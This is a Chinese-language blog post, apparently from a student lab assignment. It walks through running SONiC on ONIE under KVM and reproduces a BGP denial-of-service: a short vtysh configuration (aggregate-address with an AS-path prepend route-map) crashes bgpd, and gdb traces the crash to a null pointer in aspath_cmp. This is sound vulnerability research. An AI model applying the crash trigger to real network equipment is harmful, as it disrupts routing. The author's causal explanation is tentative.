SONiC是一个面向一个开源的交换机操作系统,Software for Open Networking in the Cloud,简称SONiC。GitHub Repo:https://github.com/Azure/SONiC
本文基于SONIC202012,从搭建环境开始,讲解BGP协议DOS攻击的复现,使用gdb调试工具结合到代码和原理对漏洞的原因进行分析。
一、使用KVM+ONIE承载SONiC
SONiC是构建网络设备(如交换机)所需功能的软件集合,它必须要有Base OS才能运行,我们用ONIE来承载SONIC。
一开始尝试手动搭建的构建方法,发现各种库没装,装好了编译途中坎坷不断,后来发现官方提供了安装好各种编译环境的容器:https://github.com/opencomputeproject/onie/tree/2021.05-rc1/contrib/build-env
1. 用Docker进行快速编译ONIE
先克隆ONIE的Repo,切换到容器目录,然后安装docker,构建容器
cd ~
git clone -b 2021.05-rc1 https://github.com/opencomputeproject/onie
mkdir ~/src
mv onie src/.
cd src/onie/contrib/build-env
sudo apt-get update
sudo apt install docker.io
sudo docker build -t debian:build-env .
到了这里,镜像就建好了,用下列命令进入容器
mkdir --mode=0777 -p ${HOME}/src
docker run -it -v ${HOME}/src:/home/build/src --name onie debian:build
如果期望分区表为MBR,则需在machine/kvm_x86_64/machine.make把
PARTITION_TYPE
改成msdos
,默认情况下是gpt
,有镜像上云的需求需要在这里修改分区表
然后开始编译
cd src/onie
cd build-config/
make -j16 MACHINE=kvm_x86_64 all recovery-iso
进行到一半了
镜像编译完成
看一下生成好的镜像
退出容器,打个包下载下来
exit
cd ~/src/onie/build/
tar -zcvf ~/images.tar.gz images/
2. 安装SONiC到ONIE
文件下载:
- 从Jenkins上可以下载到sonic-vs.bin:sonic-vs.bin
- OVMF.fd (boot=uefi时必须)
参考文档:
目录结构组织参考
步骤开始:
下载 mk-vm.sh
创建空的磁盘镜像:
qemu-img create -f qcow2 onie-x86-demo.img 10G
按目录结构配置mk-vm.sh的CDROM
,DISK
,OVMF
,然后mode
先指定成cdrom
,boot
必须指定bios
,内存必须4096
。运行./mk-vm.sh
(图中指定了boot=ueif
、内存2048
,导致后续安装失败,已更正)
- 内存
2048
失败的原因:启动ONIE时/tmp
分区的大小与内存有关,需要有充足的空间供SONIC镜像存放并解包安装 -
boot=uefi
时失败的原因:在grub-install
的时候卡住,根本原因和SecureBoot有关,参见Issue)
启动后马上进onie-embed
自动开始安装onie,没进成功进了recovery,想要回到grub请reboot
CTRL
+ SHIFT
+ ]
可以退出KVM,回到telnet敲quit退出到终端,退出时会有提示可以使用sudo kill $kvm_pid
杀死KVM进程
装完后有sonic-vs.bin的目录下,宿主机起一个httpserver
python3 -m http.server
rescue模式进入ONIE,onie-nos-install http://虚拟机内网IP/sonic-vs.bin
选择SONIC启动项
过一会就进系统了!!
默认用户名密码:admin/YourPaSsWoRd
3. 附加部分:从制作镜像到上云
为什么要上云?
制作好了镜像,在云上可以直接登录云服务器进行操作,无需复杂的环境配置,等于是开箱即用
这里以腾讯云为平台,进行了SONiC镜像上云的实践。
首先,根据腾讯云文档导入镜像一节的要求,分区表类型不支持GPT,所以我们:
- 重新编译了一个分区类型为MSDOS的镜像,修改
build-config/arch/x86_64.make
找到里面的PARTITION_TYPE
改成msdos
后按原来的样子重新编译 - 并在用
qemu-img
创建磁盘镜像时,指定磁盘大小40G
- 进入装好的SONIC,参照腾讯云文档,按照要求:先检查
VirtIO
驱动:https://cloud.tencent.com/document/product/213/9929然后安装CloudInit
组件:https://cloud.tencent.com/document/product/213/12587其中在执行pip install -r requirements.txt
时需要sudo
并且把pip
改为pip2
- 装好组件后,上传到腾讯云COS存储桶中
- 导入镜像
- 直接从镜像创建云服务器
- 登录云服务器
二、DOS案例复现
交换机vtysh
常用命令:
-
?
查帮助 - 用
no
开头的命令,比如no ip addr 180.0.3.1/24
可以对相关命令取反向的效果 - 在进入
config
时,do XXX
(xxx是show开头的查询类命令)可以查看结果 -
show ip route
查看路由表 -
show interfaces
查看所有接口 -
show ip bgp summary
查看bgp摘要 -
show ip bgp neighbors
查看所有bgp的邻居
云服务器资产:
进行下列配置之前,先在VPC上配置路由表,并把路由表应用到两台SONIC所在的子网
具体配置一览如下
标识 | 内网IP | Ethernet8 IP |
---|---|---|
SONIC1 | 172.17.16.17/20 | 192.168.3.1/24 |
SONIC2 | 172.17.16.9/20 | 192.168.3.2/24 |
1. 网络拓扑
SONIC1
#配置端口IP地址
SONiC1(config):interface Ethernet8
SONiC1(config-if):ip addr 192.168.3.1/24
#建立路由
SONiC1(config):ip route 192.168.3.2/32 172.17.16.9
#清除预设的bgp as
SONiC(config):no router bgp 65100
#建立IBGP邻居,65100是默认的AS号
SONiC(config):router bgp 65100
SONiC1(config-router):neighbor 192.168.3.2 remote-as 65100
SONiC1(config-router):neighbor 192.168.3.2 update-source Ethernet8
//非物理端口建立连接要声明建立连接的端口
SONIC2
#配置端口IP地址
SONiC1(config):interface Ethernet8
SONiC1(config-if):ip addr 192.168.3.2/24
#建立路由
SONiC1(config):ip route 192.168.3.1/32 172.17.16.17
#清除预设的bgp as
SONiC(config):no router bgp 65100
#建立IBGP邻居,65100是默认的AS号
SONiC(config):router bgp 65100
SONiC1(config-router):neighbor 192.168.3.1 remote-as 65100
SONiC1(config-router):neighbor 192.168.3.1 update-source Ethernet8
//非物理端口建立连接要声明建立连接的端口
进行上述配置之后,进行验证,应确保如下所示的条件,才可进行下一步:
- SONIC1可以通过
192.168.3.2
到达通SONIC2 - SONIC2可以通过
192.168.3.1
到达通SONIC1 - SONIC1/2互相可以获取到对方的
ROUTER ID
具体说明:
以SONIC1为例,执行了ping 192.168.3.2
和show ip bgp neighbors
进行结果验证:
- 首先,ping结果正常,如果ping都不通更别想玩bgp了
- 且bgp邻居的截图中,
remote router ID
不为0.0.0.0
,local router ID
是刚刚配置的192.168.3.1
自己的IP,并且状态为已建立连接:BGP state = Established
信息统计中不全为0,有收发记录
2. 漏洞复现
先在SONIC1进行配置
sonic# configure terminal
sonic(config)# router bgp 65100
sonic(config-router)# address-family ipv4 unicast
sonic(config-router-af)# aggregate-address 20.0.0.0/24 summary-only route-map 1
sonic(config-router-af)# exit-address-family
sonic(config-router)# route-map 1 permit 1
sonic(config-route-map)# set as-path prepend 1 2 3 4 5
然后在SONIC2配置
sonic# configure terminal
sonic(config)# interface Ethernet20
sonic(config-if)# ip addr 20.0.0.1/31
sonic(config-if)# interface Ethernet24
sonic(config-if)# ip addr 20.0.0.3/31
sonic(config-if)# router bgp 65100
sonic(config-router)# address-family ipv4 unicast
sonic(config-router-af)# redistribute connected
敲完最后一句后,过一会SONIC1的终端就有bgpd服务掉线的反馈信息
在SONIC1敲docker logs bgp
,可以在日志里看见bgpd非正常退出了
3. 原因挖掘
bgpd的可执行文件在docker-fpm-frr(Name: bgp)的/usr/lib/frr/bgpd
进入bgp容器,gdb attach上bgpd
进程,然后敲个c
让他继续执行代码
docker exec -it bgp /bin/bashps -aux | grep "bgpd"gdb -p xxxc #continue
等coredump的时候,gdb会自动断下来,显示代码停在了bgpd/bgp_aspath.c:2053
函数是aspath_cmp
layout asm
可以看汇编
经过比较,所示汇编代码对应即为该文件的2053行,https://github.com/Azure/sonic-frr/blob/df7ab485bde1a511f131f7ad6b70cb43c48c8e6d/bgpd/bgp_aspath.c#L2053
gdb里bt
,看一下trace,调用aspath_cmp()
函数的时候,第一个参数是0x0
,bug找到了:aspath_cmp()
没有对传来的参数进行空指针判断
有了源码分析,我们知道关于BGP Prepend,是有一个BGP Prepend Hijacking的安全问题,意思是攻击者可以利用Prepend来修改AS_PATH控制流向目标网络的流量。
在回到我们刚才的配置:
- SONIC1聚合20.0.0.0/24的路由,在路径上进行prepend,把
AS1~5
都加入到了路径的左侧,这样去往AS65100的流量,都必然经过AS1~5 - SONIC2对20.0.0.1/31和20.0.0.1/31进行了发布,SONIC1收到了发布的流量,聚合操作的设定把20.0.0.1/31和20.0.0.1/31加入到自己的Summary里,但是在聚合的时候,需要确定Next Hop,而
AS1
在网络拓扑中根本不存在,聚合操作找不到这个AS号,所以就崩溃了
在如上所示的场景中,是SONIC进行了Prepend修改AS_PATH,倘若是攻击者实施的AS_PATH Prepend,攻击者的目的就达成了——利用Prepend把不存在的AS加入BGP网络达成DOS攻击。
三、总结
BGP导致的大型安全事件数不胜数,被劫持网络流量、引起大规模的网络故障,大多数都是基于BGP协议的传播性,由单点扩散到全局。对漏洞的深入探究和其他BGP协议的漏洞,可以参照KCon2018的议题《BGP安全之殇》。
文章是根据学校实验课程的大作业实践经历改编,作者自己也是在作业的引导之下,第一次研究关于BGP协议方面的漏洞,上文理解和描述可能存在略有不足之处,欢迎大佬们斧正指出错误。